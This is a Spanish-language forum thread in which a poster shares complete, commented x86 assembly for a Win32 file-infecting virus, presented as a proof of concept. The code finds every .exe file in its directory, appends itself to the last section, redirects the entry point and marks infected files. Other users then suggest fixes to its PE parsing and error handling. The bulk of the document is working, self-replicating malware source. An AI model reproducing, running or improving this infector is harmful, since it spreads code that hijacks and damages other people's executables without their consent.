Virus parasitario (infector de .EXE)

Iniciado por Binary_Death, 29 Abril 2012, 02:45 AM

0 Miembros y 2 Visitantes están viendo este tema.

Binary_Death

 Es un PoC de virus para win32 poco original, infecta todos los .exe del directorio añadiendo su código al final de la última sección del ejecutable host.
EDIT: Lo he comentado por completo, porque si no es muy difícil de leer  :D

Código (asm) [Seleccionar]

.386
.model flat, stdcall
option casemap:none
assume fs:nothing

.code
vx_code:
start_vx_code:
call _delta
_delta:
;Get the delta offset
pop ebp
sub ebp, offset _delta

;MyEntryPoint would be saved
;in HostEntryPoint if the current
;file were infected
mov eax, [ebp + HostEntryPoint]
mov [ebp + MyEntryPoint], eax

;Call to _GtGetProcAddress
;to find out Kernel32 base
;and GetProcAddress Address
call _GtGetProcAddress
mov [ebp + GtProcAdH], eax
mov [ebp + Kernel32H], edx
call _GtRequiredAPIs

_FindFirst:
;Find first file, loading the parameters
;according to ebp, delta offset
    lea ebx, [ebp + win32_find_data]
    lea edx, [ebp + filter]
    push ebx
    push edx
    call [ebp + FindFirstFileAH]
   
    ;If it hasn't found any file
    ;return to the host file code
    cmp eax, -1
    jz end_vx

;Else save the Handle in FileHandleFind
    mov [ebp + FileHandleFind], eax
   
    ;And call infect_file to try to infect it
    call infect_file

    _FindNext:
   
    ;Load the parameters for FindNextFileA and call it
    lea ebx, [ebp + win32_find_data]
    mov edx, [ebp + FileHandleFind]
    push ebx
    push edx
    call [ebp + FindNextFileAH]
   
    ;If it hasn't found anything else, return
    cmp eax, 00h
    jz end_vx
   
    ;Else try to infect the file
    call infect_file
   
    ;Search more files
    jmp _FindNext
retn


end_vx:

;If delta offset is 00h
;the virus is not running on
;another executable, so exit to OS
cmp ebp, 00h
jnz return
retn
return:
;Else access to TIB to get
;the current ImageBase
mov eax, fs:[030h]
          mov eax,[eax + 08h]
         
          ;And add it to MyEntryPoint
          add [ebp + MyEntryPoint], eax
         
          ;To jump
jmp dword ptr[ebp + MyEntryPoint]

_procedures:
_GtGetProcAddress:

;To get kernel32 ImageBase
;Looking at the PEB
mov ebx, fs:[030h]
mov ebx, [ebx + 0ch]
mov ebx, [ebx + 0ch]
mov ebx, [ebx + 00h]
mov ebx, [ebx + 00h]
mov eax, [ebx + 18h]

;To get export table address
mov ebx, [eax + 3Ch]
add ebx, eax
mov ebx, [ebx + 78h]
add ebx, eax

;Save that address
push ebx

;Pointer to AddressOfNames
mov ebx, [ebx + 20h]
add ebx, eax
xor edx, edx
_loop:
;Each entry of AddressOfNames
;Is a pointer to one string
;which has the name of one API
lea esi, [ebp + GpaName]
mov edi, [ebx + edx]
add edi, eax
mov ecx, 0Fh
add edx, 04h
repz cmpsb
jnz _loop
sub edx, 04h

;Divide edx by 2 to use it as
;an index in AddressOfNameOrdinals
;(2 bytes by entry)
shr edx, 01h

;Restore ExportTable address
pop ebx

;Access to AddressOfNameOrdinals
mov edi, [ebx + 24h]
add edi, eax

;To get the index that is going
;to be used in AddressOfFunctions
movzx edx, word ptr[edi + edx]

;Each entry is 4 bytes long
shl edx, 02h

;Load AddressOfFunctions address in edi
mov edi, [ebx + 1Ch]
add edi, eax

;Load GetProcAddress address in edi
mov edi, [edi + edx]
add edi, eax

;edx = Kernel base
;eax = GetProcAddress address
mov edx, eax
mov eax, edi
retn

_GtRequiredAPIs:
;Source registry points to ApiListH (where the APIs handles will be)
;Destiny registry points to ApiListN (where the APIs names are)
lea edi, [ebp + ApiListN]
lea esi, [ebp + ApiListH]

;Ebx contains Kernel32 base
mov ebx, [ebp + Kernel32H]
GetAPI_Loop:
;Push the Kernel base and
;the API name to get its address
push edi
push ebx
call [ebp + GtProcAdH]

;Save the adress where source registry points
mov [esi], eax

;Find the next API in the list pointed by edi
xor eax, eax
repnz scasb

;Esi points to the next handle to fill up
add esi, 04h

;If it's not the end of the list
;get the next API, else return
cmp byte ptr[edi], 00h
jnz GetAPI_Loop
retn

infect_file:

;VirusHostSize contains the size of the virus
;plus the size of the host
mov ebx, VirusSize
add ebx, [ebp + win32_find_data.nFileSizeLow]
mov [ebp + VirusHostSize], ebx

;Open the file to read and write on it
;And shared on reading
push 00h
push 00h
push 03h
push 00h
push 01h
push 0C0000000h
lea ebx, [ebp + win32_find_data.cFileName]
push ebx
call [ebp + CreateFileAH]

;If the file could not be opened
;jump to end_infect_file to search more files
cmp eax, -1
jz end_infect_file

;Else save the handle in FileHandleCreate
mov [ebp + FileHandleCreate], eax

;Push the file size to the stack and map the file in memory
;Eax will contain the base address of the mapped file
push [ebp + win32_find_data.nFileSizeLow]
call map_file_in_memory

;Is it an executable file?
cmp word ptr[eax], "ZM"

;Otherwise close the handles and return
jnz close_view

;Ebx contains the address where the PE files
;header begins
mov ebx, [eax + 3Ch]
add ebx, eax

;If it's not a PE file close the handles and return
cmp word ptr[ebx], "EP"
jnz close_view

;If the file is already infected
;close the handles and return
cmp dword ptr[eax + 6Ch], "hDyB"
jz close_view

;falignvalue will contain the FileAlignment
;and salignvalue will contain the SectionAlignment
mov eax, [ebx + 3Ch]
mov [ebp + falignvalue], eax
mov eax, [ebx + 38h]
mov [ebp + salignvalue], eax

;Get the new size of the file
;that is, the VirusHostSize rounded up
;to the FileAlignment
push dword ptr[ebp + VirusHostSize]
push dword ptr[ebp + falignvalue]
call _alignment

;And push it to the stack
push eax

;Unmap the file
push [ebp + MappedFile]
call [ebp + UnmapViewOfFileH]
push [ebp + FileHandleMap]
call [ebp + CloseHandleH]

;And map it again with the new size
call map_file_in_memory

;Save the base address of the mapped file
push eax

;Mark the file with the signature ByDh
mov dword ptr[eax + 6Ch], "hDyB"

;Ebx contains the PE header address
mov ebx, [eax + 3Ch]
add ebx, eax

;Save this address
push ebx

;Move to edx the size of optional header
movzx edx, word ptr[ebx + 14h]

;Load in esi the address of the first structure
;of the PE Section Table
;(PEHeader + SizeOfOptionalHeader + PEHeaderSize)
lea esi, [ebx + edx + 18h]

;And push it to stack to use it later
push esi

;Move to ecx NumberOfSections
movzx ecx, word ptr[ebx + 06h]

;And push it to stack to use it later
push ecx


;Eax = 00h, and it will contain
;the highest PointerToRawData
xor eax, eax
_SectionsLoop:

;Compare the current biggest pointer
;with the PointerToRawData of the next section
cmp [esi + 14h], eax

;If it isn't bigger jump to _notbigger
jb _notbigger

;Else save ecx (index of current section) in ebx
;And move that pointer to eax
mov ebx, ecx
mov eax, [esi + 14h]
_notbigger:

;Esi points to the next section table
add esi, 28h
loop _SectionsLoop

;Eax = NumberOfSections
pop eax

;Subtract ebx from the NumbersOfSections
;and multiply it by 28h
sub eax, ebx
mov ecx, 28h
mul ecx

;Restore esi (the pointer to the first table)
;and add eax to make it point to the table which has
;the highest PointerToRawData
pop esi
add esi, eax


;Ebx contains VirtualSize, save it into the stack
    mov ebx, [esi + 08h]
    push ebx
   
    ;New VirtualSize = Old VirtualSize + VirusSize
    add ebx, VirusSize
    mov [esi + 08h], ebx
   
    ;Eax contains the new VirtualSize
    ;Rounded up to FileAlignment
    push ebx
    push [ebp + falignvalue]
    call _alignment
   
    ;That is, it's the new SizeOfRawData
    ;so change it up
    mov [esi + 10h], eax

;ecx = Old VirtualSize
;ebx = PE Header Address
    pop ecx
    pop ebx
   
    ;Save the EntryPoint of the file
    ;in HostEntryPoint
    mov edx, [ebx + 28h]
    mov [ebp + HostEntryPoint], edx
   
    ;edx = VirtualAddress + VirtualSize
    mov edx, [esi + 0Ch]
    add edx, ecx
   
    ;That is, the new EntryPoint
    ;so change it up
    mov [ebx + 28h], edx

;Save PE Header Address into the stack
    push ebx
   
    ;eax = New VirtualSize + VirtualAddress
    mov eax, [esi + 08h]
    add eax, [esi + 0Ch]
   
    ;Get the new SizeOfImage,
    ;[[(VirtualSize+VirtualAddress)/0x1000]+1]*0x1000
    push eax
    push [ebp + salignvalue]
    call _alignment
   
    ;Set the new SizeOfImage
    pop ebx
    mov [ebx + 50h], eax

;Last section characteristics:
;CODE|EXECUTE|READ|WRITE
or dword ptr[esi + 24h], 0E0000020h

;eax = Base Address of mapped file
pop eax

;ebx = PointerToRawData
mov ebx, [esi + 14h]

;ebx = Base Address + PointerToRawData + Old VirtualSize
lea ebx, [eax + ebx]
add ebx, ecx

;Copy the virus code in the host code
;esi = beginning of the virus code
;edi = end of the last section
lea esi, [ebp + start_vx_code]
mov edi, ebx
mov ecx, VirusSize
rep movsb


;Close all the handles
jmp close_all

_alignment:
;The formula to align a value is:
;AlignedValue = [(Value/Alignment)+1]*Alignment


;Save the returning address in edi
pop edi

;Get the value to align and the alignment
pop ebx
pop eax

xor edx, edx
div ebx
cmp edx, 00h
jz _align
inc eax
_align:
xor edx, edx
mul ebx

;Push the returning address
;and jump to it
push edi
retn

map_file_in_memory:

;esi = returning address
;edi = mapping size
pop esi
pop edi

;Create the file mapping object
push 00h
push edi
push 00h
push 04h
push 00h
push [ebp + FileHandleCreate]
call [ebp + CreateFileMappingAH]
cmp eax, 00h
jz close_file
mov [ebp + FileHandleMap], eax

;And create a view of the file
;using the size in edi
push edi
push 0
push 0
push 000F001Fh
push [ebp + FileHandleMap]
call [ebp + MapViewOfFileH]
cmp eax, 00h
jz close_filemap
mov [ebp + MappedFile], eax

;Set the returning address
;and jump to it
push esi
retn



;Chain of functions which close the appropiate handles
close_all:
close_view:
push [ebp + MappedFile]
call [ebp + UnmapViewOfFileH]

close_filemap:
push [ebp + FileHandleMap]
call [ebp + CloseHandleH]

close_file:
push [ebp + FileHandleCreate]
call [ebp + CloseHandleH]

end_infect_file:
retn
 

_data:
Kernel32H dd ?
GtProcAdH dd ?
GpaName db "GetProcAddress",0
ExitProcessN db "ExitProcess",0

ApiListN db "FindFirstFileA",0
            db "FindNextFileA",0
            db "CreateFileA",0
            db "CreateFileMappingA",0
            db "MapViewOfFile",0
            db "CloseHandle",0
            db "UnmapViewOfFile",0
            db 0
    ApiListH:
    FindFirstFileAH dd ?
    FindNextFileAH  dd ?
    CreateFileAH    dd ?
    CreateFileMappingAH dd ?
    MapViewOfFileH dd ?
    CloseHandleH dd ?
    UnmapViewOfFileH dd ?

    filter db "*.exe",0
    FileHandleFind dd ?
    FileHandleCreate dd ?
    FileHandleMap dd ?
    MappedFile dd ?

    VirusSize equ end_vx_code - start_vx_code
    VirusHostSize dd ?
    falignvalue dd ?
    salignvalue dd ?
    HostEntryPoint dd 0
    MyEntryPoint dd 0

    filetime struct
        FT_dwLowDateTime    dd ?
        FT_dwHighDateTime    dd ?
    filetime ends

    find_data struct
        dwFileAttributes        dd ?
        ftCreationTime          filetime <?>         
        ftLastAccessTime        filetime <?>
        ftLastWriteTime          filetime <?>
        nFileSizeHigh            dd ?
        nFileSizeLow            dd ?
        dwReserved0              dd ?
        dwReserved1              dd ?
        cFileName              db 512 dup (?)
        cAlternateFileName      db 14 dup  (?)
    find_data ends

    win32_find_data          find_data <?>

end_vx_code:
end vx_code


Agradecería mucho que me comentarais los muchos fallos que seguro hay.

Un saludo!

the_scar

Muy buen virus parasitario colega, jodedor, jodedor...

copiando y pegando en mi radasm, despues lo ejecutare para ver si me optimiza el guindows y me acelera la conexión de ***** que tengo.

Hay tipos de personas las que conocen el sistema numérico sexagesimal y las que no.

Binary_Death

#2
Cita de: the_scar en 29 Abril 2012, 23:03 PM
Muy buen virus parasitario colega, jodedor, jodedor...

copiando y pegando en mi radasm, despues lo ejecutare para ver si me optimiza el guindows y me acelera la conexión de ***** que tengo.



No es un virus, sólo es un prototipo. Ni jodedor tampoco es, de hecho no hace nada salvo cargarse un par de ejecutables con EOF. Es lo que hay.

Intentaré en los próximos días (o semanas, depende de como vaya de tiempo) hacer uno que se copie en los espacios que hay entre sección y sección debido al alineamiento en disco, y que si no encuentra suficiente espacio en ningún hueco recurrirá a añadirse al final de la última sección, como hace el aquí presente.

Saludos.

SEL1

A muy simple vista el codigo tiene muchos bugs, por ejemplo, la marca "PE" no es un WORD es un DWORD. El codigo no usa SEH, y si lo usara en archivos infectados igual caeria porque no soporta NO_SEH ni SafeSEH...

Otra cosa muy extraña es que buscaste la ultima sección mas "alta" haciendo un loop cuando pudiste hacer ((NumberOfSections-1) * sizeof IMAGE_SECTION_HEADER)) y desde IMAGE_NT_HEADERS ir hasta la ultima sección sin ningun loop. Lo otro es que una sección alta en memoria puede estar antes que una mas baja... con algunos trucos. ;) Tampoco necesitabas alinear SizeOfImage, solamente tomar la nueva y alineada VirtualSize y sumarla a la VirtualAddress de la ultima sección.

Luego vere bien el codigo.

Binary_Death

#4
El campo PE sí que es un DWORD, pero la cadena PE es un WORD es toda regla, ocupa 2 bytes, por tanto no es un error.

Busqué la sección con un PointerToRawData más grande porque esta es la última sección en disco, y a no ser que el fichero tenga EOF (que es probable y es algo que ya me hicieron notar y arreglaré en otros códigos) funcionará bien.

Usé ese loop porque resulta que no siempre la última estructura IMAGE_SECTION_HEADER es la que tiene el PointerToRawData mayor, aunque suele ser así no es estrictamente cierto en todos los casos, si bien en la mayoría de ellos funcionaría tal como dijiste.

No coloco ningún SEH porque generalmente eso se hacía cuando buscabas la base de kernel32.dll en memoria por el método tradicional, viendo la dirección que pusheo el sistema operativo en la pila para retornar a ella y a partir de ahí retrocediendo hasta encontrar el campo MZ, pero en este caso por cortesía de The Swash uso otro método, de forma que no accedo a memoria que no tenga permisos de lectura.

Aunque sin embargo es muy cierto que no estaría de más ponerle un manejador de excepciones.

El código lo testeé en varios sistemas y en ninguno dio problemas más allá de lo comentado con ejecutables un poco especiales  :P

PD: Falta decir, que si no vigilo con el SizeOfImage me voy a cargar muchísimos ejecutables. De hecho, en un principio me olvidé de eso y petó en cuanto intenté infectar la calculadora xDDD
Un saludo!

SEL1

Citar
El campo PE sí que es un DWORD, pero la cadena PE es un WORD es toda regla, ocupa 2 bytes, por tanto no es un error.

La documentación especifica que es un DWORD "PE\0\0" por lo tanto deberías atenerte a lo que dicen los documentos. El otro WORD que no checkeas podría contener cualquier cosa.

Citar
No coloco ningún SEH porque generalmente eso se hacía cuando buscabas la base de kernel32.dll en memoria por el método tradicional, viendo la dirección que pusheo el sistema operativo en la pila para retornar a ella y a partir de ahí retrocediendo hasta encontrar el campo MZ, pero en este caso por cortesía de The Swash uso otro método, de forma que no accedo a memoria que no tenga permisos de lectura.

Pongamoslo así... para comenzar... cuando abrís el archivo y tomas e_lfanew, si el campo contiene un valor invalido que sobrepase el tamaño del mapa: estas muerto.


Binary_Death

#6
Que no está demás, no, estaría bien añadir un manejador de excepciones, ya dije, siempre hay que ser precavido y pensar que si algo puede salir mal, saldrá mal, pero esto es una prueba de concepto.

Respecto a lo de checkear el otro WORD de PE\0\0, después de hacer algunas comprobaciones, es cierto, mas vale prevenir y comparar todo el DWORD por si acaso  ;)

¡Un saludo y gracias por mirarte el código!

PD: Me temo que si el valor e_lfanew es inválido, a parte de que el fichero está corrompido, no serviría mucho ponerle un SEH, porque podría acceder a cualquier parte y montar un buen lío. Habría que hacer unas comparaciones para ver si está dentro del mapeado del fichero, pero aún así podría ser inválido y apuntar a cualquier offset del fichero, con lo que me lo cargaría también.
En resumen: es bastante fastidiado encontrarse con campos inválidos, pero generalmente no será así porque si no el ejecutable ya de por sí estaría roto.

The Swash

Es cierto, el campo l_fanew apuntará siempre a la cabecera NT_HEADERS, donde el primer campo es PEx00x00, Es necesariamente obligatorio que apunté al inicio con esa "firma". De lo contrario el ejecutable no funcionaría, y si lo hace podría ser una malformación que podría estudiarse, pero comúnmente no!. Ahora Una casualidad es que el campo siempre inicia en un múltiplo de 4 ^^ (NT_HEADERS).

Un saludo.